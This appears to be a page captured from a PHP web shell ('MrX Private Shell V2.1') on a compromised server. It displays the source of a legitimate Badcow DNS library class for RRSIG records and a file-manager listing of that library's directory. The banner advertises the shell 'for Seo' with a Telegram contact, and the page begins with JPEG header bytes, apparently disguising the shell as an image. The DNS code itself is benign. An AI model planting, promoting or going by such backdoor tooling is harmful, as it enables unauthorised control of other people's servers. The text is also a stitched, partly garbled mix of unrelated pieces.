����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
declare(strict_types=1);
/*
* This file is part of Badcow DNS Library.
*
* (c) Samuel Williams <sam@badcow.co>
*
* For the full copyright and license information, please view the LICENSE
* file that was distributed with this source code.
*/
namespace Badcow\DNS\Rdata;
use Badcow\DNS\Message;
use Badcow\DNS\Parser\Tokens;
/**
* {@link https://tools.ietf.org/html/rfc4034}.
*/
class RRSIG implements RdataInterface
{
use RdataTrait;
public const TYPE = 'RRSIG';
public const TYPE_CODE = 46;
public const TIME_FORMAT = 'YmdHis';
/**
* The Type Covered field identifies the type of the RRset that is
* covered by this RRSIG record. E.G. A, MX, AAAA, etc.
*
* @var string
*/
private $typeCovered;
/**
* The Algorithm field identifies the public key's cryptographic
* algorithm and determines the format of the Public Key field.
* {@link https://tools.ietf.org/html/rfc4034#section-3.1.2}.
*
* @var int
*/
private $algorithm;
/**
* The Labels field specifies the number of labels in the original RRSIG
* RR owner name.
* {@link https://tools.ietf.org/html/rfc4034#section-3.1.3}.
*
* @var int
*/
private $labels;
/**
* The Original TTL field specifies the TTL of the covered RRset as it
* appears in the authoritative zone.
* {@link https://tools.ietf.org/html/rfc4034#section-3.1.4}.
*
* @var int
*/
private $originalTtl;
/**
* 32-bit unsigned integer specifying the expiration date of a signature.
* {@link https://tools.ietf.org/html/rfc4034#section-3.1.5}.
*
* @var \DateTime
*/
private $signatureExpiration;
/**
* 32-bit unsigned integer specifying the inception date of a signature.
* {@link https://tools.ietf.org/html/rfc4034#section-3.1.5}.
*
* @var \DateTime
*/
private $signatureInception;
/**
* The Key Tag field contains the key tag value of the DNSKEY RR that
* validates this signature, in network byte order.
* {@link https://tools.ietf.org/html/rfc4034#section-3.1.6}.
*
* @var int
*/
private $keyTag;
/**
* The Signer's Name field value identifies the owner name of the DNSKEY\
* RR that a validator is supposed to use to validate this signature.
* The Signer's Name field MUST contain the name of the zone of the
* covered RRset.
* {@link https://tools.ietf.org/html/rfc4034#section-3.1.7}.
*
* @var string
*/
private $signersName;
/**
* The Signature field contains the cryptographic signature that covers
* the RRSIG RDATA (excluding the Signature field) and the RRset
* specified by the RRSIG owner name, RRSIG class, and RRSIG Type
* Covered field.
* {@link https://tools.ietf.org/html/rfc4034#section-3.1.8}.
*
* @var string
*/
private $signature;
public function getTypeCovered(): string
{
return $this->typeCovered;
}
public function setTypeCovered(string $typeCovered): void
{
$this->typeCovered = $typeCovered;
}
public function getAlgorithm(): int
{
return $this->algorithm;
}
public function setAlgorithm(int $algorithm): void
{
$this->algorithm = $algorithm;
}
public function getLabels(): int
{
return $this->labels;
}
public function setLabels(int $labels): void
{
$this->labels = $labels;
}
public function getOriginalTtl(): int
{
return $this->originalTtl;
}
public function setOriginalTtl(int $originalTtl): void
{
$this->originalTtl = $originalTtl;
}
public function getSignatureExpiration(): \DateTime
{
return $this->signatureExpiration;
}
public function setSignatureExpiration(\DateTime $signatureExpiration): void
{
$this->signatureExpiration = $signatureExpiration;
}
public function getSignatureInception(): \DateTime
{
return $this->signatureInception;
}
public function setSignatureInception(\DateTime $signatureInception): void
{
$this->signatureInception = $signatureInception;
}
public function getKeyTag(): int
{
return $this->keyTag;
}
public function setKeyTag(int $keyTag): void
{
$this->keyTag = $keyTag;
}
public function getSignersName(): string
{
return $this->signersName;
}
public function setSignersName(string $signersName): void
{
$this->signersName = $signersName;
}
public function getSignature(): string
{
return $this->signature;
}
public function setSignature(string $signature): void
{
$this->signature = $signature;
}
public function toText(): string
{
return sprintf(
'%s %s %s %s %s %s %s %s %s',
$this->typeCovered,
$this->algorithm,
$this->labels,
$this->originalTtl,
$this->signatureExpiration->format(self::TIME_FORMAT),
$this->signatureInception->format(self::TIME_FORMAT),
$this->keyTag,
$this->signersName,
base64_encode($this->signature)
);
}
/**
* @throws UnsupportedTypeException
*/
public function toWire(): string
{
$wire = pack(
'nCCNNNn',
Types::getTypeCode($this->typeCovered),
$this->algorithm,
$this->labels,
$this->originalTtl,
(int) $this->signatureExpiration->format('U'),
(int) $this->signatureInception->format('U'),
$this->keyTag
);
$wire .= Message::encodeName($this->signersName);
$wire .= $this->signature;
return $wire;
}
public function fromText(string $text): void
{
$rdata = explode(Tokens::SPACE, $text);
$this->setTypeCovered((string) array_shift($rdata));
$this->setAlgorithm((int) array_shift($rdata));
$this->setLabels((int) array_shift($rdata));
$this->setOriginalTtl((int) array_shift($rdata));
$this->setSignatureExpiration(self::makeDateTime((string) array_shift($rdata)));
$this->setSignatureInception(self::makeDateTime((string) array_shift($rdata)));
$this->setKeyTag((int) array_shift($rdata));
$this->setSignersName((string) array_shift($rdata));
$this->setSignature(base64_decode(implode('', $rdata)));
}
/**
* @throws UnsupportedTypeException
*/
public function fromWire(string $rdata, int &$offset = 0, ?int $rdLength = null): void
{
$rdLength = $rdLength ?? strlen($rdata);
$end = $offset + $rdLength;
if (false === $values = unpack('n<type>/C<algorithm>/C<labels>/N<originalTtl>/N<sigExpiration>/N<sigInception>/n<keyTag>', $rdata, $offset)) {
throw new DecodeException(static::TYPE, $rdata);
}
$offset += 18;
$signersName = Message::decodeName($rdata, $offset);
$sigLen = $end - $offset;
$signature = substr($rdata, $offset, $sigLen);
$offset += $sigLen;
$this->setTypeCovered(Types::getName($values['<type>']));
$this->setAlgorithm($values['<algorithm>']);
$this->setLabels($values['<labels>']);
$this->setOriginalTtl($values['<originalTtl>']);
$this->setKeyTag($values['<keyTag>']);
$this->setSignersName($signersName);
$this->setSignature($signature);
$this->setSignatureExpiration(self::makeDateTime((string) $values['<sigExpiration>']));
$this->setSignatureInception(self::makeDateTime((string) $values['<sigInception>']));
}
private static function makeDateTime(string $timeString): \DateTime
{
$timeFormat = (14 === strlen($timeString)) ? self::TIME_FORMAT : 'U';
if (false === $dateTime = \DateTime::createFromFormat($timeFormat, $timeString)) {
throw new \InvalidArgumentException(sprintf('Unable to create \DateTime object from date "%s".', $timeString));
}
return $dateTime;
}
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| A.php | File | 1.94 KB | 0644 |
|
| AAAA.php | File | 1.07 KB | 0644 |
|
| AFSDB.php | File | 2.2 KB | 0644 |
|
| APL.php | File | 4.12 KB | 0644 |
|
| CAA.php | File | 4.06 KB | 0644 |
|
| CDNSKEY.php | File | 450 B | 0644 |
|
| CDS.php | File | 431 B | 0644 |
|
| CERT.php | File | 5.49 KB | 0644 |
|
| CNAME.php | File | 1.33 KB | 0644 |
|
| CSYNC.php | File | 2.46 KB | 0644 |
|
| DHCID.php | File | 5.65 KB | 0644 |
|
| DLV.php | File | 455 B | 0644 |
|
| DNAME.php | File | 674 B | 0644 |
|
| DNSKEY.php | File | 1.02 KB | 0644 |
|
| DS.php | File | 3.93 KB | 0644 |
|
| DecodeException.php | File | 933 B | 0644 |
|
| Factory.php | File | 17.37 KB | 0644 |
|
| HINFO.php | File | 2.19 KB | 0644 |
|
| HIP.php | File | 4.4 KB | 0644 |
|
| IPSECKEY.php | File | 9.34 KB | 0644 |
|
| KEY.php | File | 3.25 KB | 0644 |
|
| KX.php | File | 2.45 KB | 0644 |
|
| LOC.php | File | 7.36 KB | 0644 |
|
| MX.php | File | 2.46 KB | 0644 |
|
| NAPTR.php | File | 7.06 KB | 0644 |
|
| NS.php | File | 442 B | 0644 |
|
| NSEC.php | File | 4.13 KB | 0644 |
|
| NSEC3.php | File | 8.09 KB | 0644 |
|
| NSEC3PARAM.php | File | 3.65 KB | 0644 |
|
| OPT.php | File | 2.79 KB | 0644 |
|
| PTR.php | File | 4.24 KB | 0644 |
|
| PolymorphicRdata.php | File | 2.02 KB | 0644 |
|
| RP.php | File | 1.82 KB | 0644 |
|
| RRSIG.php | File | 8.04 KB | 0644 |
|
| RdataInterface.php | File | 1.7 KB | 0644 |
|
| RdataTrait.php | File | 803 B | 0644 |
|
| SIG.php | File | 378 B | 0644 |
|
| SOA.php | File | 5.78 KB | 0644 |
|
| SPF.php | File | 432 B | 0644 |
|
| SRV.php | File | 4.61 KB | 0644 |
|
| SSHFP.php | File | 3.36 KB | 0644 |
|
| TA.php | File | 441 B | 0644 |
|
| TKEY.php | File | 7.41 KB | 0644 |
|
| TLSA.php | File | 4.69 KB | 0644 |
|
| TSIG.php | File | 6.5 KB | 0644 |
|
| TXT.php | File | 3.44 KB | 0644 |
|
| Types.php | File | 10.33 KB | 0644 |
|
| URI.php | File | 3.67 KB | 0644 |
|
| UnknownType.php | File | 2.2 KB | 0644 |
|
| UnsupportedTypeException.php | File | 477 B | 0644 |
|